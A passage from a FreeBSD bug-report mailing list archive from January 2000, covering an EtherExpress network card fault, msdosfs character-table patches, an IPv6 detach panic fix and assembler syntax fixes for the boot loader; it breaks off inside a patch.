and make world (it was over than one year that works. It is well configured. The cable (RG58) is ok and correctly terminated. On the same machine win*** can use tcp/ip to connect to my Amiga. I cannot ping/telnet/ftp neither to nor from FreeBSD. I tryed with tcpdump to follow what happens and noticed that nothing but arp go bidirectional (tcpdump does not see any packets coming from Amiga but send and receive arp requests, gotting also mac-address of Amiga side) My network: ; 192.168.22.1 tip # Amiga ; 192.168.22.2 tap # Amiga ; 192.168.22.3 trudy # FreeBSD/Win*** dual boot # netstat -rn Routing tables Internet: Destination Gateway Flags Netif Expire 127.0.0.1 127.0.0.1 UH lo0 192.168.22 link#1 UC ex0 => 192.168.22.3 0:aa:0:ad:44:7c UHLW lo0 # ping -c 42 tip PING tip (192.168.22.1): 56 data bytes --- tip ping statistics --- 42 packets transmitted, 0 packets received, 100% packet loss # ping -c 42 tip PING tip (192.168.22.1): 56 data bytes ping: sendto: No buffer space available ping: sendto: No buffer space available [...omissis...] --- tip ping statistics --- 42 packets transmitted, 0 packets received, 100% packet loss # tcpdump -i ex0 tcpdump: listening on ex0 [...doing a "ping trudy" from Amiga side...] 13:51:36.071943 arp who-has trudy tell tip 13:51:37.072352 arp who-has trudy tell tip 13:51:38.072756 arp who-has trudy tell tip 13:51:39.073148 arp who-has trudy tell tip 13:51:40.073541 arp who-has trudy tell tip 13:51:41.074616 arp who-has trudy tell tip 13:51:42.075009 arp who-has trudy tell tip ^C 7 packets received by filter 0 packets dropped by kernel # netstat -rn Routing tables Internet: Destination Gateway Flags Netif Expire 127.0.0.1 127.0.0.1 UH lo0 192.168.22 link#1 UC ex0 => 192.168.22.1 0:60:30:0:20:c2 UHLW ex0 1187 192.168.22.3 0:aa:0:ad:44:7c UHLW lo0 As you can see only ARP WHO-HAS packets runs on my network and after ping (or telnet/ftp, no matter) mac-address of Amiga-side shows on routing tables of FreeBSD-side. Kernel configuration follows: # Network card (Intel EtherExpress Pro/10) device ex0 at isa? port 0x300 irq 10 Boot messages shows NIC configured: ex0 at port 0x300 irq 10 on isa0 ex0: Intel EtherExpress Pro/10, address 00:aa:00:ad:44:7c, connector TPE Ifconfig show board up and running: # ifconfig ex0 ex0: flags=c43 mtu 1500 inet 192.168.22.3 netmask 0xffffff00 broadcast 192.168.22.255 ether 00:aa:00:ad:44:7c I am not using TPE but BNC, but I don't think this is the problem because how ARP can reach other side if the problem was the wrong connector? BTW: the board is forced with dos-boot-floppy to be _NO_ plug-and-play, _STAY_ on irq#10 and on I/O 0x300, connector auto-swith. I tryed also with an hub for TPE a couple of hour with the same results: no ping, no telnet, to ftp, only arp using FreeBSD 4.0-CURRENT, correct operation even with TPE using win*** :-( >How-To-Repeat: Buy an Intel EtherExpress Pro/10, install it on a 4.0-CURRENT :-( >Fix: Install 3.3-STABLE, 3.4-RC. With those release (on another machine) no problems found with the same NIC. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 7: 0: 6 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 69C3E15024 for ; Sun, 2 Jan 2000 07:00:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id HAA43437; Sun, 2 Jan 2000 07:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from boco.fee.vutbr.cz (boco.fee.vutbr.cz [147.229.9.11]) by hub.freebsd.org (Postfix) with ESMTP id 1C1B814EAA for ; Sun, 2 Jan 2000 06:52:50 -0800 (PST) (envelope-from cejkar@dcse.fee.vutbr.cz) Received: from kazi.dcse.fee.vutbr.cz (kazi.dcse.fee.vutbr.cz [147.229.8.12]) by boco.fee.vutbr.cz (8.9.3/8.9.3) with ESMTP id PAA12843 for ; Sun, 2 Jan 2000 15:52:46 +0100 (CET) Received: (from cejkar@localhost) by kazi.dcse.fee.vutbr.cz (8.9.3/8.9.3) id PAA46440; Sun, 2 Jan 2000 15:52:46 +0100 (CET) Message-Id: <200001021452.PAA46440@kazi.dcse.fee.vutbr.cz> Date: Sun, 2 Jan 2000 15:52:46 +0100 (CET) From: cejkar@dcse.fee.vutbr.cz Reply-To: cejkar@dcse.fee.vutbr.cz To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/15838: Conversion tables in msdosfs_conv.c are buggy Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15838 >Category: kern >Synopsis: Conversion tables in msdosfs_conv.c are buggy >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Jan 2 07:00:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Rudolf Cejka >Release: FreeBSD 4.0-CURRENT i386 >Organization: Brno University of Technology, FEE&CS, Czech Republic >Environment: 4.0-CURRENT (Dec 10 1999), src/sys/msdosfs/msdosfs_conv.c,v 1.29 >Description: In msdosfs_conv.c there are several implicit conversion tables which should do conversions between ISO-8859-1 (Unix) and IBM850 (DOS and Windows) character sets. Patch #1: 0xA0 in Latin1 / 0xFF in CP850 is NO-BREAK SPACE character. This character is allowed in both DOS and Windows names so mapping 0xA0 -> 0 should be changed to 0xA0 -> 0xFF in unix2dos table (Latin1 -> CP850) and mapping 0xFF -> 0x3F should be changed to 0xFF -> 0xA0 in dos2unix table (CP850 -> Latin1). 0xB4 in Latin1 / 0xEF in CP850 is ACUTE ACCENT character. Mapping 0xB4 -> 0xEF in unix2dos table is correct, but mapping 0xEF -> 0x3F should be changed to 0xEF -> 0xB4 in dos2unix table. Patch #2: This is fix to possible source of problems with tolower() / toupper() conversions. Currently table l2u is implemented as tolower() instead of toupper() (l2u is the same as u2l table) and table unix2dos is implemented as toupper(L1to850()). The only usage of l2u and unix2dos tables is consequently in order src -> l2u -> unix2dos -> dst so conversions work. But if user use in mount_msdos -W parameter without -L parameter and tables without implicit toupper() conversions, he is in troubles. So I think it should be better to implement implicit tables in more natural form: l2u table as toupper() and unix2dos table as L1to850() without implicit toupper() conversion - see patch #2. If removing of implicit toupper() conversion in unix2dos is not desirable, table l2u should be patched at least. >How-To-Repeat: >Fix: Patch #1: --- msdosfs_conv.c.orig Thu Dec 30 22:33:40 1999 +++ msdosfs_conv.c Sat Jan 1 21:00:55 2000 @@ -259,7 +259,7 @@ 0, 0, 0, 0, 0, 0, 0, 0, /* 88-8f */ 0, 0, 0, 0, 0, 0, 0, 0, /* 90-97 */ 0, 0, 0, 0, 0, 0, 0, 0, /* 98-9f */ - 0, 0xad, 0xbd, 0x9c, 0xcf, 0xbe, 0xdd, 0xf5, /* a0-a7 */ + 0xff, 0xad, 0xbd, 0x9c, 0xcf, 0xbe, 0xdd, 0xf5, /* a0-a7 */ 0xf9, 0xb8, 0xa6, 0xae, 0xaa, 0xf0, 0xa9, 0xee, /* a8-af */ 0xf8, 0xf1, 0xfd, 0xfc, 0xef, 0xe6, 0xf4, 0xfa, /* b0-b7 */ 0xf7, 0xfb, 0xa7, 0xaf, 0xac, 0xab, 0xf3, 0xa8, /* b8-bf */ @@ -304,9 +304,9 @@ 0xf0, 0xd0, 0xca, 0xcb, 0xc8, 0x3f, 0xcd, 0xce, /* d0-d7 */ 0xcf, 0x3f, 0x3f, 0x3f, 0x3f, 0xa6, 0xcc, 0x3f, /* d8-df */ 0xd3, 0xdf, 0xd4, 0xd2, 0xf5, 0xd5, 0xb5, 0xfe, /* e0-e7 */ - 0xde, 0xda, 0xdb, 0xd9, 0xfd, 0xdd, 0xaf, 0x3f, /* e8-ef */ + 0xde, 0xda, 0xdb, 0xd9, 0xfd, 0xdd, 0xaf, 0xb4, /* e8-ef */ 0xad, 0xb1, 0x3f, 0xbe, 0xb6, 0xa7, 0xf7, 0xb8, /* f0-f7 */ - 0xb0, 0xa8, 0xb7, 0xb9, 0xb3, 0xb2, 0x3f, 0x3f, /* f8-ff */ + 0xb0, 0xa8, 0xb7, 0xb9, 0xb3, 0xb2, 0x3f, 0xa0, /* f8-ff */ }; static u_char -- Patch #2: --- msdosfs_conv.c Sat Jan 1 21:00:55 2000 +++ msdosfs_conv.c.new Sat Jan 1 21:56:54 2000 @@ -251,10 +251,10 @@ 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, /* 48-4f */ 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, /* 50-57 */ 0x58, 0x59, 0x5a, 1, 0, 1, 0x5e, 0x5f, /* 58-5f */ - 0x60, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, /* 60-67 */ - 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, /* 68-6f */ - 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, /* 70-77 */ - 0x58, 0x59, 0x5a, 0x7b, 0, 0x7d, 0x7e, 0, /* 78-7f */ + 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, /* 60-67 */ + 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, /* 68-6f */ + 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, /* 70-77 */ + 0x78, 0x79, 0x7a, 0x7b, 0, 0x7d, 0x7e, 0, /* 78-7f */ 0, 0, 0, 0, 0, 0, 0, 0, /* 80-87 */ 0, 0, 0, 0, 0, 0, 0, 0, /* 88-8f */ 0, 0, 0, 0, 0, 0, 0, 0, /* 90-97 */ @@ -267,10 +267,10 @@ 0xd4, 0x90, 0xd2, 0xd3, 0xde, 0xd6, 0xd7, 0xd8, /* c8-cf */ 0xd1, 0xa5, 0xe3, 0xe0, 0xe2, 0xe5, 0x99, 0x9e, /* d0-d7 */ 0x9d, 0xeb, 0xe9, 0xea, 0x9a, 0xed, 0xe8, 0xe1, /* d8-df */ - 0xb7, 0xb5, 0xb6, 0xc7, 0x8e, 0x8f, 0x92, 0x80, /* e0-e7 */ - 0xd4, 0x90, 0xd2, 0xd3, 0xde, 0xd6, 0xd7, 0xd8, /* e8-ef */ - 0xd1, 0xa5, 0xe3, 0xe0, 0xe2, 0xe5, 0x99, 0xf6, /* f0-f7 */ - 0x9d, 0xeb, 0xe9, 0xea, 0x9a, 0xed, 0xe8, 0x98, /* f8-ff */ + 0x85, 0xa0, 0x83, 0xc6, 0x84, 0x86, 0x91, 0x87, /* e0-e7 */ + 0x8a, 0x82, 0x88, 0x89, 0x8d, 0xa1, 0x8c, 0x8b, /* e8-ef */ + 0xd0, 0xa4, 0x95, 0xa2, 0x93, 0xe4, 0x94, 0xf6, /* f0-f7 */ + 0x9b, 0x97, 0xa3, 0x96, 0x81, 0xec, 0xe7, 0x98, /* f8-ff */ }; static u_char @@ -355,14 +355,14 @@ 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, /* 28-2f */ 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, /* 30-37 */ 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f, /* 38-3f */ - 0x40, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, /* 40-47 */ - 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, /* 48-4f */ - 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, /* 50-57 */ - 0x78, 0x79, 0x7a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, /* 58-5f */ - 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, /* 60-67 */ - 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, /* 68-6f */ - 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, /* 70-77 */ - 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, /* 78-7f */ + 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, /* 40-47 */ + 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, /* 48-4f */ + 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, /* 50-57 */ + 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, /* 58-5f */ + 0x60, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, /* 60-67 */ + 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, /* 68-6f */ + 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, /* 70-77 */ + 0x58, 0x59, 0x5a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, /* 78-7f */ 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, /* 80-87 */ 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f, /* 88-8f */ 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, /* 90-97 */ @@ -371,14 +371,14 @@ 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, /* a8-af */ 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, /* b0-b7 */ 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf, /* b8-bf */ - 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, /* c0-c7 */ - 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, /* c8-cf */ - 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xd7, /* d0-d7 */ - 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xdf, /* d8-df */ - 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, /* e0-e7 */ - 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, /* e8-ef */ - 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, /* f0-f7 */ - 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, /* f8-ff */ + 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, /* c0-c7 */ + 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, /* c8-cf */ + 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, /* d0-d7 */ + 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, /* d8-df */ + 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, /* e0-e7 */ + 0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, /* e8-ef */ + 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xf7, /* f0-f7 */ + 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xff, /* f8-ff */ }; /* -- >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 7:29:32 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from fgwmail7.fujitsu.co.jp (fgwmail7.fujitsu.co.jp [192.51.44.37]) by hub.freebsd.org (Postfix) with ESMTP id 2785014FA0 for ; Sun, 2 Jan 2000 07:29:24 -0800 (PST) (envelope-from shin@nd.net.fujitsu.co.jp) Received: from m3.gw.fujitsu.co.jp by fgwmail7.fujitsu.co.jp (8.9.3/3.7W-MX9912-Fujitsu Gateway) id AAA20231; Mon, 3 Jan 2000 00:29:18 +0900 (JST) (envelope-from shin@nd.net.fujitsu.co.jp) Received: from incapgw.fujitsu.co.jp by m3.gw.fujitsu.co.jp (8.9.3/3.7W-9912-Fujitsu Domain Master) id AAA22239; Mon, 3 Jan 2000 00:29:17 +0900 (JST) Received: from localhost ([192.168.245.136]) by incapgw.fujitsu.co.jp (8.9.3/3.7W-9912) id AAA19951; Mon, 3 Jan 2000 00:29:15 +0900 (JST) To: joe@pavilion.net Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15742: Laptop -current panics in in6_ifattach after suspend In-Reply-To: <20000102124814.A24810@florence.pavilion.net> References: <20000101163112Y.shin@nd.net.fujitsu.co.jp> <20000102023050X.shin@nd.net.fujitsu.co.jp> <20000102124814.A24810@florence.pavilion.net> X-Mailer: Mew version 1.94 on Emacs 20.4 / Mule 4.0 (HANANOEN) X-Prom-Mew: Prom-Mew 1.93.4 (procmail reader for Mew) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000103002949O.shin@nd.net.fujitsu.co.jp> Date: Mon, 03 Jan 2000 00:29:49 +0900 From: Yoshinobu Inoue X-Dispatcher: imput version 990905(IM130) Lines: 44 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I tried this test with my INET6 defined kernel. > > # pccardc power 1 0 > [pause] > # pccardc power 1 1 > [pause whilst pccardd finds the card, and dhclient get's the ip address]. > > I did it three times, and on the third time the kernel crashed with > exactly the same problems as before. This confirms that it's not an > APM problem. Sorry for my wrong assumption and I think I find out the real problem. in6_control() seems to return error EPERM and not correctly free and unlink AF_INET6 addrs when called from if_detach(). Because if_detach() calls in6_control() with the 5th argument, struct proc *, as NULL, and then, in6_control() think it is called from un-previleged process, and return EPERM. (The reason my machine didn't panic'ed is just because it is lucky.) I think following additional patch should fix the problem. Sorry for taking your time again, but could you please try it? I confirmed that in6_control(), which called from if_detach(), don't return error after this patch in my environment. Yoshinobu Inoue Index: in6.c =================================================================== RCS file: /home/ncvs/src/sys/netinet6/in6.c,v retrieving revision 1.3 diff -u -r1.3 in6.c --- in6.c 1999/12/07 17:39:11 1.3 +++ in6.c 2000/01/02 15:14:30 @@ -414,7 +414,7 @@ int privileged; privileged = 0; - if (p && !suser(p)) + if (p == NULL || !suser(p)) privileged++; /* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 7:40: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id E4C5E15058 for ; Sun, 2 Jan 2000 07:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id HAA45124; Sun, 2 Jan 2000 07:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 7A755150CC; Sun, 2 Jan 2000 07:30:34 -0800 (PST) Message-Id: <20000102153034.7A755150CC@hub.freebsd.org> Date: Sun, 2 Jan 2000 07:30:34 -0800 (PST) From: kw_chao@ms25.url.com.tw To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: misc/15839: what means of Equivalent Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15839 >Category: misc >Synopsis: what means of Equivalent >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Jan 2 07:40:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: chao >Release: >Organization: tsao gone >Environment: >Description: >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Jan 2 8:10: 8 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id C70CE14FFE for ; Sun, 2 Jan 2000 08:10:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id IAA46902; Sun, 2 Jan 2000 08:10:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 6382E14FC3; Sun, 2 Jan 2000 08:03:24 -0800 (PST) Message-Id: <20000102160324.6382E14FC3@hub.freebsd.org> Date: Sun, 2 Jan 2000 08:03:24 -0800 (PST) From: sepotvin@videotron.ca To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: i386/15841: [patch] Assembler syntax fixes for the boot programs. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15841 >Category: i386 >Synopsis: [patch] Assembler syntax fixes for the boot programs. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sun Jan 2 08:10:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Stephane E. Potvin >Release: 4.0-CURRENT >Organization: InnoMediaLogic Inc. >Environment: FreeBSD leonard.videotron.ca 4.0-CURRENT FreeBSD 4.0-CURRENT #6: Sat Jan 1 12:52:14 GMT 2000 spotvin@leonard.videotron.ca:/mnt/.0/src/sys/compile/LEONARD i386 >Description: Various assembler fixes for the boot programs. These were discovered by binutils-2.9.5 >How-To-Repeat: >Fix: Index: boot0/boot0.s =================================================================== RCS file: /usr/FreeBSD/ncvs/src/sys/boot/i386/boot0/boot0.s,v retrieving revision 1.14 diff -c -r1.14 boot0.s *** boot0/boot0.s 1999/09/03 01:38:29 1.14 --- boot0/boot0.s 1999/12/31 14:33:53 *************** *** 333,345 **** tstbi1(0x80,_FLAGS,_bp_) # Use packet interface? jz intx13.1 # No o16 # Set ! pushb $0x0 # the o16 # LBA pushw1(0x8,_si_) # address pushl %es # Set the transfer pushl %ebx # buffer address ! pushb $0x1 # Block count ! pushb $0x10 # Packet size movl %esp,%esi # Packet pointer decl %eax # Verify off orb $0x40,%ah # Use disk packet --- 333,345 ---- tstbi1(0x80,_FLAGS,_bp_) # Use packet interface? jz intx13.1 # No o16 # Set ! push $0x0 # the o16 # LBA pushw1(0x8,_si_) # address pushl %es # Set the transfer pushl %ebx # buffer address ! push $0x1 # Block count ! push $0x10 # Packet size movl %esp,%esi # Packet pointer decl %eax # Verify off orb $0x40,%ah # Use disk packet Index: boot2/boot1.s =================================================================== RCS file: /usr/FreeBSD/ncvs/src/sys/boot/i386/boot2/boot1.s,v retrieving revision 1.10 diff -c -r1.10 boot1.s *** boot2/boot1.s 1999/08/28 00:40:01 1.10 --- boot2/boot1.s 2000/01/02 10:37:14 *************** *** 42,48 **** xread: pushl %ss # Address popl %ds # data xread.1: o16 # Starting ! pushb $0x0 # absolute pushl %ecx # block pushl %eax # number pushl %es # Address of --- 42,48 ---- xread: pushl %ss # Address popl %ds # data xread.1: o16 # Starting ! push $0x0 # absolute pushl %ecx # block pushl %eax # number pushl %es # Address of *************** *** 50,56 **** xorl %eax,%eax # Number of movb %dh,%al # blocks to pushl %eax # transfer ! pushb $0x10 # Size of packet movl %esp,%ebp # Packet pointer callwi(read) # Read from disk leaw1r(0x10,_bp_,_sp) # Clear stack --- 50,56 ---- xorl %eax,%eax # Number of movb %dh,%al # blocks to pushl %eax # transfer ! push $0x10 # Size of packet movl %esp,%ebp # Packet pointer callwi(read) # Read from disk leaw1r(0x10,_bp_,_sp) # Clear stack *************** *** 60,68 **** main: cld # String ops inc xorl %ecx,%ecx # Zero ! movl %cx,%es # Address ! movl %cx,%ds # data ! movl %cx,%ss # Set up movwir(start,_sp) # stack movl %esp,%esi # Source movwir(MEM_REL,_di) # Destination --- 60,68 ---- main: cld # String ops inc xorl %ecx,%ecx # Zero ! movl %ecx,%es # Address ! movl %ecx,%ds # data ! movl %ecx,%ss # Set up movwir(start,_sp) # stack movl %esp,%esi # Source movwir(MEM_REL,_di) # Destination Index: btx/btx/btx.s =================================================================== RCS file: /usr/FreeBSD/ncvs/src/sys/boot/i386/btx/btx/btx.s,v retrieving revision 1.13 diff -c -r1.13 btx.s *** btx/btx/btx.s 1999/10/27 02:22:52 1.13 --- btx/btx/btx.s 2000/01/02 10:39:10 *************** *** 110,119 **** # init: cli # Disable interrupts xorl %eax,%eax # Zero/segment ! movl %ax,%ss # Set up movwir(MEM_ESP0,_sp) # stack ! movl %ax,%es # Address ! movl %ax,%ds # data pushw $0x2 # Clear popfw # flags # --- 110,119 ---- # init: cli # Disable interrupts xorl %eax,%eax # Zero/segment ! movl %eax,%ss # Set up movwir(MEM_ESP0,_sp) # stack ! movl %eax,%es # Address ! movl %eax,%ds # data pushw $0x2 # Clear popfw # flags # *************** *** 213,224 **** jmpfwi(SEL_SCODE,init.8) # To 32-bit code init.8: xorl %ecx,%ecx # Zero movb $SEL_SDATA,%cl # To 32-bit ! movl %cx,%ss # stack # # Launch user task. # movb $SEL_TSS,%cl # Set task ! ltrl %ecx # register movl $MEM_USR,%edx # User base address movzwl %ss:BDA_MEM,%eax # Get free memory shll $0xa,%eax # To bytes --- 213,224 ---- jmpfwi(SEL_SCODE,init.8) # To 32-bit code init.8: xorl %ecx,%ecx # Zero movb $SEL_SDATA,%cl # To 32-bit ! movl %ecx,%ss # stack # # Launch user task. # movb $SEL_TSS,%cl # Set task ! ltr %cx # register movl $MEM_USR,%edx # User base address movzwl %ss:BDA_MEM,%eax # Get free memory shll $0xa,%eax # To bytes *************** *** 236,242 **** pushl %ecx # Set ES pushl %edx # Set EAX movb $0x7,%cl # Set remaining ! init.9: pushb $0x0 # general loop init.9 # registers popa # and initialize popl %es # Initialize --- 236,242 ---- pushl %ecx # Set ES pushl %edx # Set EAX movb $0x7,%cl # Set remaining ! init.9: push $0x0 # general loop init.9 # registers popa # and initialize popl %es # Initialize *************** *** 267,277 **** o16 # Reload jmpfwi(SEL_RCODE,exit.1) # CS exit.1: movb $SEL_RDATA,%cl # 16-bit selector ! movl %cx,%ss # Reload SS ! movl %cx,%ds # Load ! movl %cx,%es # remaining ! movl %cx,%fs # segment ! movl %cx,%gs # registers # # To real-address mode. # --- 267,277 ---- o16 # Reload jmpfwi(SEL_RCODE,exit.1) # CS exit.1: movb $SEL_RDATA,%cl # 16-bit selector ! movl %ecx,%ss # Reload SS ! movl %ecx,%ds # Load ! movl %ecx,%es # remaining ! movl %ecx,%fs # segment ! movl %ecx,%gs # registers # # To real-address mode. # *************** *** 279,286 **** movl %eax,%cr0 # real mode jmpfwi(0x0,exit.2) # Reload CS exit.2: xorl %eax,%eax # Real mode segment ! movl %ax,%ss # Reload SS ! movl %ax,%ds # Address data movwir(0x7008,_bx) # Set real mode callwi(setpic) # IRQ offsets lidtwm(ivtdesc) # Set IVT --- 279,286 ---- movl %eax,%cr0 # real mode jmpfwi(0x0,exit.2) # Reload CS exit.2: xorl %eax,%eax # Real mode segment ! movl %eax,%ss # Reload SS ! movl %eax,%ds # Address data movwir(0x7008,_bx) # Set real mode callwi(setpic) # IRQ offsets lidtwm(ivtdesc) # Set IVT *************** *** 324,356 **** # # Exception jump table. # ! intx00: pushb $0x0 # Int 0x0: #DE jmp ex_noc # Divide error ! pushb $0x1 # Int 0x1: #DB jmp ex_noc # Debug ! pushb $0x3 # Int 0x3: #BP jmp ex_noc # Breakpoint ! pushb $0x4 # Int 0x4: #OF jmp ex_noc # Overflow ! pushb $0x5 # Int 0x5: #BR jmp ex_noc # BOUND range exceeded ! pushb $0x6 # Int 0x6: #UD jmp ex_noc # Invalid opcode ! pushb $0x7 # Int 0x7: #NM jmp ex_noc # Device not available ! pushb $0x8 # Int 0x8: #DF jmp except # Double fault ! pushb $0xa # Int 0xa: #TS jmp except # Invalid TSS ! pushb $0xb # Int 0xb: #NP jmp except # Segment not present ! pushb $0xc # Int 0xc: #SS jmp except # Stack segment fault ! pushb $0xd # Int 0xd: #GP jmp ex_v86 # General protection ! pushb $0xe # Int 0xe: #PF jmp except # Page fault ! intx10: pushb $0x10 # Int 0x10: #MF jmp ex_noc # Floating-point error # # Handle #GP exception. --- 324,356 ---- # # Exception jump table. # ! intx00: push $0x0 # Int 0x0: #DE jmp ex_noc # Divide error ! push $0x1 # Int 0x1: #DB jmp ex_noc # Debug ! push $0x3 # Int 0x3: #BP jmp ex_noc # Breakpoint ! push $0x4 # Int 0x4: #OF jmp ex_noc # Overflow ! push $0x5 # Int 0x5: #BR jmp ex_noc # BOUND range exceeded ! push $0x6 # Int 0x6: #UD jmp ex_noc # Invalid opcode ! push $0x7 # Int 0x7: #NM jmp ex_noc # Device not available ! push $0x8 # Int 0x8: #DF jmp except # Double fault ! push $0xa # Int 0xa: #TS jmp except # Invalid TSS ! push $0xb # Int 0xb: #NP jmp except # Segment not present ! push $0xc # Int 0xc: #SS jmp except # Stack segment fault ! push $0xd # Int 0xd: #GP jmp ex_v86 # General protection ! push $0xe # Int 0xe: #PF jmp except # Page fault ! intx10: push $0x10 # Int 0x10: #MF jmp ex_noc # Floating-point error # # Handle #GP exception. *************** *** 631,667 **** # # Hardware interrupt jump table. # ! intx20: pushb $0x8 # 